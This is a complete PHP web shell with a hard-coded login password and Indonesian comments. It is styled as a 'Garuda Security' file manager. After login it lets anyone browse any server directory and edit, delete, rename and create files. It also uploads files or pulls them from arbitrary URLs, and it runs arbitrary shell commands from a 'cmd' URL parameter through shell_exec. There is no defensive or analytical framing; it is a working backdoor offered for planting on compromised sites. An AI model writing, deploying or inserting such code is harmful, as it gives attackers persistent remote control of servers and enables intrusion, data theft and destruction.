<?php
session_start();

// ================= KONFIGURASI LOGIN =================
$LOGIN_PASSWORD = 'zer0xd';   // Ganti password di sini
// ======================================================

// Handle logout
if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?'));
    exit;
}

// Handle submit login
if (isset($_POST['login_password'])) {
    if (hash_equals($LOGIN_PASSWORD, $_POST['login_password'])) {
        $_SESSION['authed'] = true;
        $_SESSION['login_time'] = time();
        // Redirect bersih agar tidak re-submit form
        header('Location: ' . $_SERVER['REQUEST_URI']);
        exit;
    } else {
        $login_error = 'Password salah!';
    }
}

// Kalau belum login → tampilkan halaman login & stop
if (empty($_SESSION['authed'])) {
    ?>
    <!DOCTYPE html>
    <html lang="id">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Login Required</title>
        <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&family=JetBrains+Mono:wght@400;600&display=swap" rel="stylesheet">
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
        <style>
            * { box-sizing: border-box; margin: 0; padding: 0; }
            html, body { height: 100%; }
            body {
                display: flex;
                align-items: center;
                justify-content: center;
                padding: 24px;
                background: 
                    radial-gradient(ellipse at top left, rgba(99, 102, 241, 0.18), transparent 50%),
                    radial-gradient(ellipse at bottom right, rgba(236, 72, 153, 0.15), transparent 50%),
                    linear-gradient(135deg, #0a0e1a 0%, #111827 50%, #0a0e1a 100%);
                font-family: 'Inter', sans-serif;
                color: #e5e7eb;
                min-height: 100vh;
                overflow: hidden;
            }
            body::before {
                content: '';
                position: fixed;
                inset: 0;
                background-image: 
                    linear-gradient(rgba(99, 102, 241, 0.03) 1px, transparent 1px),
                    linear-gradient(90deg, rgba(99, 102, 241, 0.03) 1px, transparent 1px);
                background-size: 40px 40px;
                pointer-events: none;
            }
            .login-box {
                position: relative;
                z-index: 1;
                width: 100%;
                max-width: 400px;
                padding: 36px 32px;
                background: rgba(17, 24, 39, 0.7);
                backdrop-filter: blur(20px);
                -webkit-backdrop-filter: blur(20px);
                border: 1px solid rgba(255, 255, 255, 0.08);
                border-radius: 20px;
                box-shadow: 
                    0 20px 60px rgba(0, 0, 0, 0.6),
                    0 0 0 1px rgba(255, 255, 255, 0.02) inset;
                animation: fadeUp 0.5s cubic-bezier(0.16, 1, 0.3, 1);
            }
            @keyframes fadeUp {
                from { opacity: 0; transform: translateY(20px); }
                to   { opacity: 1; transform: translateY(0); }
            }
            .login-icon {
                width: 64px;
                height: 64px;
                margin: 0 auto 20px;
                display: flex;
                align-items: center;
                justify-content: center;
                background: linear-gradient(135deg, #6366f1, #8b5cf6);
                border-radius: 18px;
                box-shadow: 0 8px 24px rgba(99, 102, 241, 0.5);
                font-size: 26px;
                color: #fff;
            }
            .login-box h1 {
                text-align: center;
                font-size: 22px;
                font-weight: 700;
                color: #fff;
                margin-bottom: 6px;
                letter-spacing: -0.02em;
            }
            .login-box p.subtitle {
                text-align: center;
                color: #9ca3af;
                font-size: 13px;
                margin-bottom: 28px;
            }
            .input-wrap {
                position: relative;
                margin-bottom: 16px;
            }
            .input-wrap i {
                position: absolute;
                left: 14px;
                top: 50%;
                transform: translateY(-50%);
                color: #6b7280;
                font-size: 14px;
                pointer-events: none;
            }
            .input-wrap input {
                width: 100%;
                padding: 13px 14px 13px 42px;
                background: rgba(0, 0, 0, 0.4);
                border: 1px solid rgba(255, 255, 255, 0.08);
                border-radius: 10px;
                color: #e5e7eb;
                font-family: 'JetBrains Mono', monospace;
                font-size: 14px;
                outline: none;
                transition: all 0.2s;
            }
            .input-wrap input:focus {
                border-color: #6366f1;
                box-shadow: 0 0 0 3px rgba(99, 102, 241, 0.2);
                background: rgba(0, 0, 0, 0.55);
            }
            .input-wrap input::placeholder { color: #4b5563; }
            .login-btn {
                width: 100%;
                padding: 13px;
                background: linear-gradient(135deg, #6366f1, #8b5cf6);
                color: #fff;
                border: none;
                border-radius: 10px;
                font-weight: 600;
                font-size: 14px;
                cursor: pointer;
                transition: all 0.25s;
                box-shadow: 0 6px 18px rgba(99, 102, 241, 0.4);
                display: flex;
                align-items: center;
                justify-content: center;
                gap: 8px;
            }
            .login-btn:hover {
                transform: translateY(-2px);
                box-shadow: 0 10px 26px rgba(99, 102, 241, 0.55);
            }
            .login-btn:active { transform: translateY(0); }
            .error {
                padding: 11px 14px;
                background: rgba(239, 68, 68, 0.12);
                border: 1px solid rgba(239, 68, 68, 0.35);
                border-radius: 9px;
                color: #fca5a5;
                font-size: 12.5px;
                margin-bottom: 16px;
                display: flex;
                align-items: center;
                gap: 8px;
                animation: shake 0.4s;
            }
            @keyframes shake {
                0%, 100% { transform: translateX(0); }
                25% { transform: translateX(-6px); }
                75% { transform: translateX(6px); }
            }
            .footer-note {
                text-align: center;
                margin-top: 22px;
                font-size: 11px;
                color: #4b5563;
                letter-spacing: 0.05em;
                text-transform: uppercase;
            }
            .footer-note::before { content: '🔒 '; }
        </style>
    </head>
    <body>
        <form class="login-box" method="post">
            <div class="login-icon">
                <i class="fa-solid fa-lock"></i>
            </div>
            <h1>Restricted Access</h1>
            <p class="subtitle">Enter password to continue</p>

            <?php if (!empty($login_error)): ?>
                <div class="error">
                    <i class="fa-solid fa-triangle-exclamation"></i>
                    <?php echo htmlspecialchars($login_error); ?>
                </div>
            <?php endif; ?>

            <div class="input-wrap">
                <i class="fa-solid fa-key"></i>
                <input type="password" name="login_password" placeholder="Password..." autofocus required>
            </div>
            <button type="submit" class="login-btn">
                <i class="fa-solid fa-right-to-bracket"></i> Login
            </button>
            <div class="footer-note">Garuda Security</div>
        </form>
    </body>
    </html>
    <?php
    exit;
}
// ================= AKHIR BLOK LOGIN =================
?>
<?php
$host = $_SERVER['HTTP_HOST'];
$additional_title = "zer0xd";
function generateDirectoryLinks($dir) {
    $dir = str_replace("\\", "/", $dir);
    $dirs = explode("/", $dir);
    $links = '';
    foreach ($dirs as $key => $value) {
        if ($value == "" && $key == 0){
            $links .= '<i class="fa fa-folder-o"></i> : <a href="/"><font color="#FF1493">/</a>';
            continue;
        }
        $links .= '<a href="?dir=';
        for ($i=0; $i <= $key ; $i++) {
            $links .= "$dirs[$i]";
            if ($key !== $i) $links .= "/";
        }
        $links .= '">'.$value.'</a>/';
    }

    return $links;
}
function showFiles($dir) {
    $scan = @scandir($dir);

    if ($scan === false) {
        echo "<tr><td colspan='4'>Error: Unable to scan directory.</td></tr>";
        return;
    }

    $folders = array();
    $files = array();

    foreach ($scan as $item) {
        if ($item == '.' || $item == '..') continue;

        $path = $dir . '/' . $item;
        if (is_dir($path)) {
            $folders[] = $item;
        } else {
            $files[] = $item;
        }
    }

    foreach ($folders as $item) {
        $path = $dir . '/' . $item;
        $size = '--';
        $permission = substr(sprintf('%o', fileperms($path)), -4);
        $action = generateFolderActions($dir, $path);

        echo "<tr>
                <td><a href=\"?dir=".urlencode($path)."\">" . $item . "</a></td>
                <td><center>$size</center></td>
                <td><center>$permission</center></td>
                <td><center>$action</center></td>
              </tr>";
    }

    foreach ($files as $item) {
        $path = $dir . '/' . $item;
        $size = formatSize(@filesize($path));
        $permission = substr(sprintf('%o', fileperms($path)), -4);
        $action = generateFileActions($dir, $path, $item, $permission);

        echo "<tr>
                <td><a href=\"?dir=".urlencode($path)."\">" . $item . "</a></td>
                <td><center>$size</center></td>
                <td><center>$permission</center></td>
                <td><center>$action</center></td>
              </tr>";
    }
}
function uploadFileFromUrl($url, $dir) {
    $fileName = basename($url);
    $filePath = $dir . '/' . $fileName;
    $content = file_get_contents($url);
    if ($content === false) {
        echo "<script>alert('Failed to fetch file content from URL!');</script>";
        return;
    }
    if (file_put_contents($filePath, $content) !== false) {
        echo "<script>alert('File uploaded successfully!'); window.location='?dir=".$dir."';</script>";
    } else {
        echo "<script>alert('Failed to upload file!');</script>";
    }
}

function formatSize($bytes) {
    $units = array('B', 'KB', 'MB', 'GB', 'TB');
    $bytes = max($bytes, 0);
    $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
    $pow = min($pow, count($units) - 1);
    $bytes /= (1 << (10 * $pow));
    return round($bytes, 2) . ' ' . $units[$pow];
}

function generateFileActions($dir, $path, $item, $permission) {
    return '<a href="?dir='.$dir.'&open='.$path.'" class="button">Edit</a>
            <a href="?dir='.$dir.'&delete='.$path.'" class="button2">Delete</a>
            <a href="?dir='.$dir.'&rename='.$path.'" class="button">Rename</a>';
}

function createFileForm($dir) {
    echo "<br><br><center>
        <form method='post'>
            Create File :
            <input type='text' name='filename' placeholder='File Name'>
            <br>
            <textarea name='filecontent' placeholder='File Content'></textarea>
            <input type='submit' name='addfile' value='Create File'>
        </form><br></center>";
}

function generateFolderActions($dir, $path) {
    return '<a href="?dir='.$dir.'&delete='.$path.'" class="button2">Delete</a>
            <a href="?dir='.$dir.'&rename='.$path.'" class="button">Rename</a>';
}

function renameFile($dir) {
    if (isset($_GET['rename'])) {
        echo '<br><br><center><form method="post">
                New Name: <input type="text" name="newname" value="'.basename($_GET['rename']).'">
                <input type="submit" name="rename" value="Rename">
              </form></center>';

        if (isset($_POST['rename'])) {
            $oldname = $_GET['rename'];
            $newname = dirname($oldname) . '/' . $_POST['newname'];
            if (rename($oldname, $newname)) {
                echo "<script>alert('File renamed successfully!'); window.location='?dir=".$dir."';</script>";
            } else {
                echo "<script>alert('Failed to rename file!');</script>";
            }
        }
    }
}

function deleteFolder($dir) {
    if (isset($_GET['deletefolder'])) {
        $folderToDelete = $_GET['deletefolder'];
        
        if (!is_dirEmpty($folderToDelete)) {
            echo "<script>alert('Folder is not empty!');</script>";
            return;
        }

        if (rmdir($folderToDelete)) {
            echo "<script>alert('Folder deleted successfully!'); window.location='?dir=".urlencode($dir)."';</script>";
        } else {
            echo "<script>alert('Failed to delete folder!');</script>";
        }
    }
}

function is_dirEmpty($dir) {
    if (!is_readable($dir)) return NULL;
    return (count(scandir($dir)) == 2);
}

function createFile($dir) {
    if (isset($_POST['addfile'])) {
        $filename = $_POST['filename'];
        $filecontent = $_POST['filecontent'];
        $filepath = $dir . '/' . $filename;

        if (file_exists($filepath)) {
            echo "<script>alert('File already exists!');</script>";
        } else {
            if (file_put_contents($filepath, $filecontent) !== false) {
                echo "<script>alert('File created successfully!'); window.location='?dir=".$dir."';</script>";
            } else {
                echo "<script>alert('Failed to create file!');</script>";
            }
        }
    }
}

function createFolderForm($dir) {
    echo "<br><form method='post'>
            <input type='text' name='okfolder' placeholder='Folder Name'>
            <input type='submit' name='addfolder' value='>'>
        </form><br>";
}

function createFolder($dir) {
    if(isset($_POST['addfolder'])){
        $newFolderName = isset($_POST['okfolder']) ? $_POST['okfolder'] : '';
        if(!empty($newFolderName)){
            $newFolderPath = $dir . '/' . $newFolderName;
            if(mkdir($newFolderPath, 0777)){
                echo "<script>alert('Folder created successfully!'); window.location='?dir=".$dir."';</script>";
            } else {
                echo "<script>alert('Failed to create folder!');</script>";
            }
        } else {
            echo "<script>alert('Folder name cannot be empty!');</script>";
        }
    }
}

function deleteFile($dir) {
    if (isset($_GET['delete'])) {
        $fileToDelete = $_GET['delete'];
        if (unlink($fileToDelete)) {
            echo "<script>alert('File deleted successfully!'); window.location='?dir=".$dir."';</script>";
        } else {
            echo "<script>alert('Failed to delete file!');</script>";
        }
    }
}

function editFile($dir) {
    if (isset($_GET['open'])) {
        $filePath = $_GET['open'];
        if (isset($_POST['edit'])) {
            $content = $_POST['edit'];
            if (file_put_contents($filePath, $content) !== false) {
                echo "<script>alert('File edited successfully!'); window.location='?dir=".$dir."';</script>";
            } else {
                echo "<script>alert('Failed to edit file!');</script>";
            }
        } else {
            echo '
            <br />
            <style>
                table {
                    display: none;
                }
            </style>
            <form method="post">
                <textarea name="edit">'.htmlspecialchars(file_get_contents($filePath)).'</textarea>
                <input type="submit" name="save" value="Save">
            </form>
            ';
        }
    }
}

function runShellCommand($command) {
    $output = shell_exec($command);
    echo "<br><br><textarea style='width: 100%; height: 200px;'>$output</textarea>";
}

$dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
if (isset($_POST['uploadurl'])) {
    $url = $_POST['url'];
    uploadFileFromUrl($url, $dir);
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?php echo $host . " - " . $additional_title; ?></title>
    <!-- Font Awesome untuk icon -->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&family=JetBrains+Mono:wght@400;600&display=swap" rel="stylesheet">
    <style>
        :root {
            --bg-primary: #0a0e1a;
            --bg-secondary: #111827;
            --surface: rgba(255, 255, 255, 0.04);
            --surface-hover: rgba(255, 255, 255, 0.08);
            --border: rgba(255, 255, 255, 0.08);
            --border-hover: rgba(255, 255, 255, 0.18);
            --accent: #6366f1;
            --accent-glow: rgba(99, 102, 241, 0.4);
            --success: #10b981;
            --danger: #ef4444;
            --warning: #f59e0b;
            --text: #e5e7eb;
            --text-dim: #9ca3af;
            --text-muted: #6b7280;
        }

        * { box-sizing: border-box; }

        html, body {
            margin: 0;
            padding: 0;
            min-height: 100vh;
        }

        body {
            background: 
                radial-gradient(ellipse at top left, rgba(99, 102, 241, 0.15), transparent 50%),
                radial-gradient(ellipse at bottom right, rgba(236, 72, 153, 0.12), transparent 50%),
                linear-gradient(135deg, #0a0e1a 0%, #111827 50%, #0a0e1a 100%);
            background-attachment: fixed;
            color: var(--text);
            font-family: 'Inter', -apple-system, BlinkMacSystemFont, sans-serif;
            font-size: 14px;
            line-height: 1.6;
            padding: 24px 16px;
        }

        /* Animated background grid */
        body::before {
            content: '';
            position: fixed;
            inset: 0;
            background-image: 
                linear-gradient(rgba(99, 102, 241, 0.03) 1px, transparent 1px),
                linear-gradient(90deg, rgba(99, 102, 241, 0.03) 1px, transparent 1px);
            background-size: 40px 40px;
            pointer-events: none;
            z-index: 0;
        }

        .container {
            position: relative;
            z-index: 1;
            max-width: 1400px;
            margin: 0 auto;
            padding: 28px;
            background: rgba(17, 24, 39, 0.6);
            backdrop-filter: blur(20px);
            -webkit-backdrop-filter: blur(20px);
            border: 1px solid var(--border);
            border-radius: 20px;
            box-shadow: 
                0 20px 60px rgba(0, 0, 0, 0.5),
                0 0 0 1px rgba(255, 255, 255, 0.02) inset;
        }

        h1 {
            font-size: 26px;
            font-weight: 700;
            color: #fff;
            text-align: center;
            margin: 0 0 8px;
            letter-spacing: -0.02em;
            background: linear-gradient(135deg, #fff 0%, #a5b4fc 100%);
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            background-clip: text;
        }

        h1::after {
            content: '';
            display: block;
            width: 60px;
            height: 3px;
            background: linear-gradient(90deg, var(--accent), #ec4899);
            margin: 12px auto 0;
            border-radius: 3px;
        }

        /* Breadcrumb / directory path */
        .breadcrumb {
            margin: 20px 0;
            padding: 14px 18px;
            background: var(--surface);
            border: 1px solid var(--border);
            border-radius: 12px;
            font-family: 'JetBrains Mono', monospace;
            font-size: 13px;
            word-break: break-all;
            display: flex;
            align-items: center;
            gap: 10px;
            flex-wrap: wrap;
        }

        .breadcrumb a {
            color: var(--accent);
            text-decoration: none;
            transition: color 0.2s;
            padding: 2px 4px;
            border-radius: 4px;
        }

        .breadcrumb a:hover {
            color: #a5b4fc;
            background: rgba(99, 102, 241, 0.1);
        }

        .breadcrumb font {
            color: #fff !important;
        }

        /* Toolbar - top actions */
        .toolbar {
            display: flex;
            flex-wrap: wrap;
            gap: 12px;
            align-items: center;
            margin: 20px 0;
            padding: 16px;
            background: var(--surface);
            border: 1px solid var(--border);
            border-radius: 14px;
        }

        .toolbar .home-link {
            padding: 10px 18px;
            background: linear-gradient(135deg, var(--accent), #8b5cf6);
            color: #fff;
            text-decoration: none;
            border-radius: 10px;
            font-weight: 600;
            font-size: 13px;
            display: inline-flex;
            align-items: center;
            gap: 8px;
            transition: all 0.25s;
            box-shadow: 0 4px 14px var(--accent-glow);
        }

        .toolbar .home-link:hover {
            transform: translateY(-2px);
            box-shadow: 0 8px 22px var(--accent-glow);
        }

        .toolbar .create-file {
            padding: 10px 18px;
            background: linear-gradient(135deg, var(--warning), #d97706);
            color: #fff;
            text-decoration: none;
            border-radius: 10px;
            font-weight: 600;
            font-size: 13px;
            display: inline-flex;
            align-items: center;
            gap: 8px;
            transition: all 0.25s;
            box-shadow: 0 4px 14px rgba(245, 158, 11, 0.35);
        }

        .toolbar .create-file:hover {
            transform: translateY(-2px);
            box-shadow: 0 8px 22px rgba(245, 158, 11, 0.5);
        }

        /* Upload panels */
        .upload-row {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 12px;
            margin-bottom: 20px;
        }

        .upload-card {
            padding: 14px 16px;
            background: var(--surface);
            border: 1px solid var(--border);
            border-radius: 12px;
            transition: all 0.25s;
        }

        .upload-card:hover {
            background: var(--surface-hover);
            border-color: var(--border-hover);
        }

        .upload-card form {
            display: flex;
            gap: 10px;
            align-items: center;
            margin: 0;
        }

        .upload-card input[type="text"],
        .upload-card input[type="file"] {
            flex: 1;
            padding: 9px 14px;
            background: rgba(0, 0, 0, 0.35);
            border: 1px solid var(--border);
            border-radius: 8px;
            color: var(--text);
            font-family: 'JetBrains Mono', monospace;
            font-size: 12.5px;
            outline: none;
            transition: all 0.2s;
            min-width: 0;
        }

        .upload-card input[type="text"]:focus {
            border-color: var(--accent);
            box-shadow: 0 0 0 3px rgba(99, 102, 241, 0.15);
        }

        .upload-card input[type="file"] {
            cursor: pointer;
            padding: 6px 10px;
        }

        .upload-card input[type="file"]::file-selector-button {
            background: var(--accent);
            color: #fff;
            border: none;
            padding: 6px 12px;
            border-radius: 6px;
            cursor: pointer;
            font-weight: 600;
            font-size: 12px;
            margin-right: 10px;
        }

        .upload-card input[type="submit"] {
            padding: 9px 18px;
            background: linear-gradient(135deg, var(--success), #059669);
            color: #fff;
            border: none;
            border-radius: 8px;
            font-weight: 600;
            font-size: 12.5px;
            cursor: pointer;
            transition: all 0.25s;
            white-space: nowrap;
            box-shadow: 0 4px 12px rgba(16, 185, 129, 0.3);
        }

        .upload-card input[type="submit"]:hover {
            transform: translateY(-2px);
            box-shadow: 0 6px 18px rgba(16, 185, 129, 0.5);
        }

        /* Table */
        table {
            width: 100%;
            border-collapse: separate;
            border-spacing: 0 6px;
            margin-top: 10px;
        }

        table tr:first-child th {
            background: transparent;
            border: none;
            color: var(--text-muted);
            font-size: 11px;
            font-weight: 600;
            text-transform: uppercase;
            letter-spacing: 0.08em;
            padding: 10px 16px;
            text-align: left;
        }

        table td {
            background: var(--surface);
            border-top: 1px solid var(--border);
            border-bottom: 1px solid var(--border);
            padding: 12px 16px;
            color: var(--text);
            font-size: 13.5px;
            transition: all 0.2s;
        }

        table td:first-child {
            border-left: 1px solid var(--border);
            border-radius: 10px 0 0 10px;
            font-family: 'JetBrains Mono', monospace;
            font-weight: 500;
        }

        table td:last-child {
            border-right: 1px solid var(--border);
            border-radius: 0 10px 10px 0;
        }

        table tr:hover td {
            background: var(--surface-hover);
            border-color: var(--border-hover);
        }

        table td a:not(.button):not(.button2) {
            color: #a5b4fc;
            text-decoration: none;
            transition: color 0.2s;
        }

        table td a:not(.button):not(.button2):hover {
            color: #c7d2fe;
            text-decoration: underline;
        }

        /* Buttons inside table */
        .button, .button1, .button2 {
            display: inline-flex;
            align-items: center;
            justify-content: center;
            padding: 6px 12px;
            border-radius: 7px;
            font-size: 11.5px;
            font-weight: 600;
            text-decoration: none;
            border: 1px solid transparent;
            cursor: pointer;
            margin-right: 5px;
            transition: all 0.2s;
            letter-spacing: 0.02em;
        }

        .button {
            background: rgba(99, 102, 241, 0.15);
            color: #a5b4fc;
            border-color: rgba(99, 102, 241, 0.35);
        }
        .button:hover {
            background: var(--accent);
            color: #fff;
            box-shadow: 0 4px 14px var(--accent-glow);
            transform: translateY(-1px);
        }

        .button1 {
            background: rgba(245, 158, 11, 0.15);
            color: #fbbf24;
            border-color: rgba(245, 158, 11, 0.35);
        }
        .button1:hover {
            background: var(--warning);
            color: #fff;
            transform: translateY(-1px);
        }

        .button2 {
            background: rgba(239, 68, 68, 0.15);
            color: #fca5a5;
            border-color: rgba(239, 68, 68, 0.35);
        }
        .button2:hover {
            background: var(--danger);
            color: #fff;
            box-shadow: 0 4px 14px rgba(239, 68, 68, 0.4);
            transform: translateY(-1px);
        }

        /* Forms (create file, folder, rename, edit) */
        form {
            margin: 0;
        }

        .container > form,
        .container center form {
            display: flex;
            flex-wrap: wrap;
            gap: 10px;
            align-items: center;
            justify-content: center;
            padding: 18px;
            margin: 16px 0;
            background: var(--surface);
            border: 1px solid var(--border);
            border-radius: 12px;
        }

        input[type="text"],
        input[type="url"],
        textarea {
            padding: 10px 14px;
            background: rgba(0, 0, 0, 0.4);
            border: 1px solid var(--border);
            border-radius: 8px;
            color: var(--text);
            font-family: 'JetBrains Mono', monospace;
            font-size: 13px;
            outline: none;
            transition: all 0.2s;
        }

        input[type="text"]:focus,
        input[type="url"]:focus,
        textarea:focus {
            border-color: var(--accent);
            box-shadow: 0 0 0 3px rgba(99, 102, 241, 0.15);
            background: rgba(0, 0, 0, 0.55);
        }

        textarea {
            width: 100%;
            min-height: 180px;
            resize: vertical;
            line-height: 1.5;
        }

        input[type="submit"] {
            padding: 10px 20px;
            background: linear-gradient(135deg, var(--accent), #8b5cf6);
            color: #fff;
            border: none;
            border-radius: 8px;
            font-weight: 600;
            font-size: 13px;
            cursor: pointer;
            transition: all 0.25s;
            box-shadow: 0 4px 14px var(--accent-glow);
        }

        input[type="submit"]:hover {
            transform: translateY(-2px);
            box-shadow: 0 8px 22px var(--accent-glow);
        }

        /* Execution section */
        .exec-section {
            margin-top: 30px;
            padding: 24px;
            background: linear-gradient(135deg, rgba(99, 102, 241, 0.05), rgba(236, 72, 153, 0.05));
            border: 1px solid var(--border);
            border-radius: 16px;
        }

        .exec-section h1 {
            font-size: 20px;
            margin-bottom: 20px;
        }

        .exec-section form {
            display: flex;
            gap: 10px;
            align-items: center;
            padding: 0;
            background: transparent;
            border: none;
            margin: 0;
        }

        .exec-section input[type="text"] {
            flex: 1;
            font-family: 'JetBrains Mono', monospace;
        }

        .exec-section button[type="submit"] {
            width: 48px;
            height: 48px;
            padding: 0;
            background: linear-gradient(135deg, #ec4899, #f43f5e);
            color: #fff;
            border: none;
            border-radius: 10px;
            font-size: 20px;
            font-weight: 700;
            cursor: pointer;
            transition: all 0.25s;
            box-shadow: 0 4px 14px rgba(236, 72, 153, 0.4);
            display: inline-flex;
            align-items: center;
            justify-content: center;
        }

        .exec-section button[type="submit"]:hover {
            transform: translateY(-2px) scale(1.05);
            box-shadow: 0 8px 22px rgba(236, 72, 153, 0.55);
        }

        .exec-section textarea {
            margin-top: 14px;
            background: #0a0e1a;
            border-color: rgba(99, 102, 241, 0.2);
            color: #10b981;
            font-family: 'JetBrains Mono', monospace;
        }

        /* Table wrapper for responsive */
        .table-wrap {
            overflow-x: auto;
            border-radius: 14px;
        }

        /* Footer */
        footer {
            text-align: center;
            margin-top: 40px;
            padding-top: 24px;
            border-top: 1px solid var(--border);
            color: var(--text-muted);
            font-size: 12.5px;
            letter-spacing: 0.03em;
        }

        footer p {
            margin: 0;
        }

        footer p::before {
            content: '⚡ ';
            color: var(--accent);
        }

        /* Responsive */
        @media (max-width: 768px) {
            body { padding: 12px 8px; }
            .container { padding: 18px 14px; border-radius: 14px; }
            h1 { font-size: 20px; }
            .upload-row { grid-template-columns: 1fr; }
            .toolbar { flex-direction: column; align-items: stretch; }
            .toolbar a { justify-content: center; }
            table th:nth-child(3),
            table td:nth-child(3) { display: none; }
            .button, .button2 {
                padding: 5px 9px;
                font-size: 10.5px;
                margin-bottom: 3px;
            }
        }

        /* Custom scrollbar */
        ::-webkit-scrollbar { width: 10px; height: 10px; }
        ::-webkit-scrollbar-track { background: rgba(0,0,0,0.2); border-radius: 10px; }
        ::-webkit-scrollbar-thumb {
            background: linear-gradient(180deg, var(--accent), #8b5cf6);
            border-radius: 10px;
            border: 2px solid transparent;
            background-clip: padding-box;
        }
        ::-webkit-scrollbar-thumb:hover {
            background: linear-gradient(180deg, #818cf8, #a78bfa);
            background-clip: padding-box;
        }

        /* Selection */
        ::selection { background: var(--accent); color: #fff; }
    </style>
</head>
<body>
    <div class="container">
        <h1><?php echo $host . " - " . $additional_title; ?></h1>

        <!-- Breadcrumb -->
        <div class="breadcrumb">
            <i class="fa-solid fa-folder-tree" style="color: var(--accent);"></i>
            <?php echo generateDirectoryLinks($dir); ?>
        </div>

        <!-- Toolbar -->
        <div class="toolbar">
            <a href="?" class="home-link"><i class="fa-solid fa-house"></i> Home</a>
            <a href="?dir=<?php echo $dir; ?>&wibu=createfile" class="create-file"><i class="fa-solid fa-file-circle-plus"></i> Create File</a>
        </div>

        <!-- Upload Row -->
        <div class="upload-row">
            <div class="upload-card">
                <form method="post">
                    <i class="fa-solid fa-link" style="color: var(--text-dim);"></i>
                    <input type="text" name="url" placeholder="Paste URL here...">
                    <input type="submit" name="uploadurl" value="Upload URL">
                </form>
            </div>
            <div class="upload-card">
                <form enctype="multipart/form-data" method="post">
                    <i class="fa-solid fa-cloud-arrow-up" style="color: var(--text-dim);"></i>
                    <input type="file" name="upfile">
                    <input type="submit" name="up" value="Upload File">
                </form>
            </div>
        </div>

        <?php
        if(isset($_POST['up'])){
            $uploadfile = $_FILES['upfile']['name'];
            if(move_uploaded_file
            ($_FILES['upfile']['tmp_name'],$dir.'/'.$_FILES['upfile']['name'])){
                echo "<br>File was successfully uploaded ! ";
            }
            else {
                echo "<br>Kasian upload gagal! ";
            } 
        }
        ?>

        <!-- File table -->
        <div class="table-wrap">
            <table>
                <tr>
                    <th>Name</th>
                    <th><center>Size</center></th>
                    <th><center>Permission</center></th>
                    <th><center>Action</center></th>
                </tr>
                <?php showFiles($dir); ?>
            </table>
        </div>

        <?php
        if (isset($_GET['wibu']) && $_GET['wibu'] == 'createfile') {
            createFileForm($dir);
        }

        createFolder($dir);
        createFile($dir);
        deleteFile($dir);
        renameFile($dir);
        editFile($dir);
        echo createFolderForm($dir);
        ?>

        <!-- Execution Section -->
        <div class="exec-section">
            <h1>⚡ Command Execution</h1>
            <form method="GET">
                <input type="text" name="cmd" placeholder="$ Enter shell command...">
                <button type="submit">›</button>
            </form>
            <?php
            if (isset($_GET['cmd'])) {
                runShellCommand($_GET['cmd']);
            }
            ?>
        </div>

        <footer>
            <p>&copy; 2024 - Garuda Security</p>
        </footer>
    </div>

    <?php
    // Jalankan command jika ada (opsional, hapus jika tidak ingin auto-execute)
    if (isset($_GET['cmd'])) {
        runShellCommand($_GET['cmd']);
    }
    ?>
</body>
</html>